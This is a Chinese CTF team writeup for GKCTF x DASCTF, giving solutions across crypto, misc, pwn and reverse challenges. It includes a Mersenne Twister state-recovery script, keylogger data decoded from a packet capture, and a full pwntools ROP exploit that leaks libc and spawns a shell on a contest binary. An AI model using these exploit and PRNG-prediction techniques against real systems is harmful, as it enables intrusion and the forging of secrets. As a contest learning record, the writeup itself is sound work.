GKCTF X DASCTF 应急挑战杯 Writeup
By:打 CTF 不靠实力靠运气
Crypto
Random
import gmpy2
import libprngcrack
from Crypto.Util.number import *
from Crypto.Cipher import AES
import random
class RandCrack:
def __init__(self):
self.counter = 0
self.mt = []
self.state = False
def getRandom(self):
if not self.state:
raise ValueError("Didn't recieve enough bits to predict")
r = random.Random()
state = (3, tuple([self._to_int(self.mt[i]) for i in range(624)] + [624]), None)
r.setstate(state)
return r
def submit(self, num):
if self.state:
raise ValueError("Already got enough bits")
bits = self._to_bitarray(num)
assert (all([x == 0 or x == 1 for x in bits]))
self.counter += 1
self.mt.append(self._harden_inverse(bits))
if self.counter == 624:
self.state = True
def _to_bitarray(self, num):
k = [int(x) for x in bin(num)[2:]]
return [0] * (32 - len(k)) + k
def _to_int(self, bits):
return int("".join(str(i) for i in bits), 2)
def _or_nums(self, a, b):
if len(a) < 32:
a = [0] * (32 - len(a)) + a
if len(b) < 32:
b = [0] * (32 - len(b)) + b
return [x[0] | x[1] for x in zip(a, b)]
def _xor_nums(self, a, b):
if len(a) < 32:
a = [0] * (32 - len(a)) + a
if len(b) < 32:
b = [0] * (32 - len(b)) + b
return [x[0] ^ x[1] for x in zip(a, b)]
def _and_nums(self, a, b):
if len(a) < 32:
a = [0] * (32 - len(a)) + a
if len(b) < 32:
b = [0] * (32 - len(b)) + b
return [x[0] & x[1] for x in zip(a, b)]
def _decode_harden_midop(self, enc, and_arr, shift):
NEW = 0
XOR = 1
OK = 2
work = []
for i in range(32):
work.append((NEW, enc[i]))
changed = True
while changed:
changed = False
for i in range(32):
status = work[i][0]
data = work[i][1]
if i >= 32 - shift and status == NEW:
work[i] = (OK, data)
changed = True
elif i < 32 - shift and status == NEW:
if and_arr[i] == 0:
work[i] = (OK, data)
changed = True
else:
work[i] = (XOR, data)
changed = True
elif status == XOR:
i_other = i + shift
if work[i_other][0] == OK:
work[i] = (OK, data ^ work[i_other][1])
changed = True
return [x[1] for x in work]
def _harden(self, bits):
bits = self._xor_nums(bits, bits[:-11])
bits = self._xor_nums(bits, self._and_nums(bits[7:] + [0] * 7, self._to_bitarray(0x9d2c5680)))
bits = self._xor_nums(bits, self._and_nums(bits[15:] + [0] * 15, self._to_bitarray(0xefc60000)))
bits = self._xor_nums(bits, bits[:-18])
return bits
def _harden_inverse(self, bits):
# inverse for: bits = _xor_nums(bits, bits[:-11])
bits = self._xor_nums(bits, bits[:-18])
# inverse for: bits = _xor_nums(bits, _and_nums(bits[15:] + [0] * 15 , _to_bitarray(0xefc60000)))
bits = self._decode_harden_midop(bits, self._to_bitarray(0xefc60000), 15)
# inverse for: bits = _xor_nums(bits, _and_nums(bits[7:] + [0] * 7 , _to_bitarray(0x9d2c5680)))
bits = self._decode_harden_midop(bits, self._to_bitarray(0x9d2c5680), 7)
# inverse for: bits = _xor_nums(bits, bits[:-11])
bits = self._xor_nums(bits, [0] * 11 + bits[:11] + [0] * 10)
bits = self._xor_nums(bits, bits[11:21])
return bits
import random
from hashlib import md5
file = open("C:\\random1.txt","w")
for i in range(104):
file.write(str(random.getrandbits(32))+"\n")
file.write(str(random.getrandbits(64))+"\n")
file.write(str(random.getrandbits(96))+"\n")
file.close()
flag = md5(str(random.getrandbits(32)).encode()).hexdigest()
print(flag)
crack = RandCrack()
p = open("c:\\random.txt", "r")
data = p.read().split('\n')
num = 0
for i in data:
if i == "":
continue
t = int(i)
t = long_to_bytes(t).rjust(12, b'\x00')
if num % 3 == 0:
crack.submit(bytes_to_long(t))
elif num % 3 == 1:
t1 = bytes_to_long(t[4:8])
t2 = bytes_to_long(t[8:12])
crack.submit(t2)
crack.submit(t1)
elif num % 3 == 2:
t1 = bytes_to_long(t[0:4])
t2 = bytes_to_long(t[4:8])
t3 = bytes_to_long(t[8:12])
crack.submit(t3)
crack.submit(t2)
crack.submit(t1)
num += 1
#print(hex(int(i)))
r = crack.getRandom()
flag = md5(str(r.getrandbits(32)).encode()).hexdigest()
print(flag)
#for i in range(624):
#crack.submit(int(p.readline().strip()))
#r = crack.getRandom()
Misc
签到
流量包,分析最后一个 base64 的包,内容逐行倒置
a = '''wIDIgACIgACIgAyIK0wIjMyIjMyIjMyIjMyIjMyIjMyIjMyIjMyIjMyIjMyIjMyIjMyIjMiCNoQD
jMyIjMyIjMyIjMyIjMyIjMyIjMyIjMyIjMyIjoQDjACIgACIgACIggDM6EDM6AjMgAzMtMDMtEjM
t0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0iCNMyIjMyIjMyIjMyI
6AjMgAzMtMDMtEjMwIjO0eZ62ep5K0wKrQWYwVGdv5EItAiM1Aydl5mK6M6jlfpqnrQDt0SLt0SL
t0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLK0AIdZavo75mlvlCNMTM6EDM
z0yMw0SMyAjM6Q7lpb7lmrQDrsCZhBXZ09mTg0CIyUDI3VmbqozoPW+lqeuCN0SLt0SLt0SLt0SL
sxWZld1V913e7d2ZhFGbsZmZg0lp9iunbW+Wg0lp9iunbW+Wg0lp9iunbW+WK0wMxoTMwoDMyACM
DN0QDN0QDlWazNXMx0Wbf9lRGRDNDN0ard0Rf9VZl1WbwADIdRampDKilvFIdRampDKilvVKpM2Y
==QIhM0QDN0Q'''
a = a.split('\n')
for i in a:
print(i[::-1])
解密出来发现是个,键盘监控数据,根据内容还原
#######################################
# 2021-03-30 20:01:08 #
#######################################
--------------------------------------------------
窗口:*new 52 - Notepad++
时间:2021-03-30 20:01:13
[回车]
--------------------------------------------------
窗口:*new 52 - Notepad++
时间:2021-03-30 20:01:13
[回车] [回车] [回车] ffllaagg{{}}WWeellcc))[删除] [删除] 00mmee__GGkkCC44FF__mm11ssiiCCCCCCCCCCCC!!
发现 flag 信息重复,调整后得到正确的 flag
你知道 apng 吗
apng 格式信息上网搜索后发现是一个类似 GIF 的格式,通过 chrome 可以打开,使用录屏软件开启 60 帧录制,录制后的二维码数据逐个使用软件扫描,发现有个二维码无法扫描成功,故用 Ps 进行调整后扫描成功,最后得到的信息连接起来就是 flag。
银杏岛 の 奇妙冒险
硬玩
Pwn
checkin
from pwn import *
elf = None
libc = None
file_name = "./login"
#context.timeout = 1
def get_file(dic=""):
context.binary = dic + file_name
return context.binary
def get_libc(dic=""):
libc = None
try:
data = os.popen("ldd {}".format(dic + file_name)).read()
for i in data.split('\n'):
libc_info = i.split("=>")
if len(libc_info) == 2:
if "libc" in libc_info[0]:
libc_path = libc_info[1].split(' (')
if len(libc_path) == 2:
libc = ELF(libc_path[0].replace(' ', ''), checksec=False)
return libc
except:
pass
if context.arch == 'amd64':
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec=False)
elif context.arch == 'i386':
try:
libc = ELF("/lib/i386-linux-gnu/libc.so.6", checksec=False)
except:
libc = ELF("/lib32/libc.so.6", checksec=False)
return libc
def get_sh(Use_other_libc=False, Use_ssh=False):
global libc
if args['REMOTE']:
if Use_other_libc:
libc = ELF("./libc.so.6", checksec=False)
if Use_ssh:
s = ssh(sys.argv[3], sys.argv[1], sys.argv[2], sys.argv[4])
return s.process(file_name)
else:
return remote(sys.argv[1], sys.argv[2])
else:
return process(file_name)
def get_address(sh, libc=False, info=None, start_string=None, address_len=None, end_string=None, offset=None,
int_mode=False):
if start_string != None:
sh.recvuntil(start_string)
if libc == True:
return_address = u64(sh.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
elif int_mode:
return_address = int(sh.recvuntil(end_string, drop=True), 16)
elif address_len != None:
return_address = u64(sh.recv()[:address_len].ljust(8, '\x00'))
elif context.arch == 'amd64':
return_address = u64(sh.recvuntil(end_string, drop=True).ljust(8, '\x00'))
else:
return_address = u32(sh.recvuntil(end_string, drop=True).ljust(4, '\x00'))
if offset != None:
return_address = return_address + offset
if info != None:
log.success(info + str(hex(return_address)))
return return_address
def get_flag(sh):
sh.recvrepeat(0.1)
sh.sendline('cat flag')
return sh.recvrepeat(0.3)
def get_gdb(sh, gdbscript=None, addr=0, stop=False):
if args['REMOTE']:
return
if gdbscript is not None:
gdb.attach(sh, gdbscript=gdbscript)
elif addr is not None:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(sh.pid)).readlines()[1], 16)
log.success("breakpoint_addr --> " + hex(text_base + addr))
gdb.attach(sh, 'b *{}'.format(hex(text_base + addr)))
else:
gdb.attach(sh)
if stop:
raw_input()
def Attack(target=None, sh=None, elf=None, libc=None):
if sh is None:
from Class.Target import Target
assert target is not None
assert isinstance(target, Target)
sh = target.sh
elf = target.elf
libc = target.libc
assert isinstance(elf, ELF)
assert isinstance(libc, ELF)
try_count = 0
while try_count < 3:
try_count += 1
try:
pwn(sh, elf, libc)
break
except KeyboardInterrupt:
break
except EOFError:
if target is not None:
sh = target.get_sh()
target.sh = sh
if target.connect_fail:
return 'ERROR : Can not connect to target server!'
else:
sh = get_sh()
flag = get_flag(sh)
return flag
def pwn(sh, elf, libc):
context.log_level = "debug"
pop_rdi_addr = 0x0000000000401ab3
main_addr = 0x0000000000401883
s1_addr = 0x0000000000602400
sh.sendafter('Please Sign-in', 'admin\x00\x00\x00' + p64(pop_rdi_addr) + p64(elf.got['puts']) + p64(main_addr))
#gdb.attach(sh, "b *0x00000000004018C7")
sh.sendafter('Please input u Pass', 'admin\x00\x00\x00' * 4 + p64(s1_addr))
libc_base = get_address(sh, True, info="libc_base:\t", offset=-libc.sym['puts'])
sh.sendafter('Please Sign-in', 'admin\x00\x00\x00' + p64(libc_base + 0xf1247) * 3)
sh.sendafter('Please input u Pass', 'admin\x00\x00\x00' * 4 + p64(s1_addr))
sh.interactive()
if __name__ == "__main__":
sh = get_sh()
flag = Attack(sh=sh, elf=get_file(), libc=get_libc())
sh.close()
log.success('The flag is ' + re.search(r'flag{.+}', flag).group())
Reverse
QQQQT
反编译后看到的字符串,base58 解密就是 flag
Crash
Golang 题目,使用 IDA7.6 可以看符号信息,一个 3DES,一个 SHA256,一个 SHA512,一个 md5
,伪代码看到的程序缺失一部分,直接看汇编即可。
GKCTF{87f645e9-b628-412f-9d7a-e402f20af940}
app-debug
代码在 Native 中,一个 TEA
#include <cstdio>
void encrypt(unsigned int* v, const unsigned int* k)
{
unsigned int v0 = v[0], v1 = v[1], sum = 0, i;
unsigned int delta = 0x458BCD42;
unsigned int k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];
for (i = 0; i < 32; i++)
{
sum += delta;
v0 += ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
v1 += ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
}
v[0] = v0;
v[1] = v1;
}
void decrypt(unsigned int* v, unsigned int* k)
{
unsigned long v0 = v[0], v1 = v[1], sum = 0, i;
for (int i = 0; i < 32; i++) sum += 0x458BCD42;
unsigned long delta = 0x458BCD42;
unsigned long k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];
for (i = 0; i < 32; i++)
{
v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
sum -= delta;
}
v[0] = v0;
v[1] = v1;
}
int main()
{
unsigned int v[2] = { 0xF5A98FF3, 0xA21873A3 }, k[4] = { 9, 7, 8, 6 };
//encrypt(v, k);
decrypt(v, k);
printf("%s", v);
return 0;
}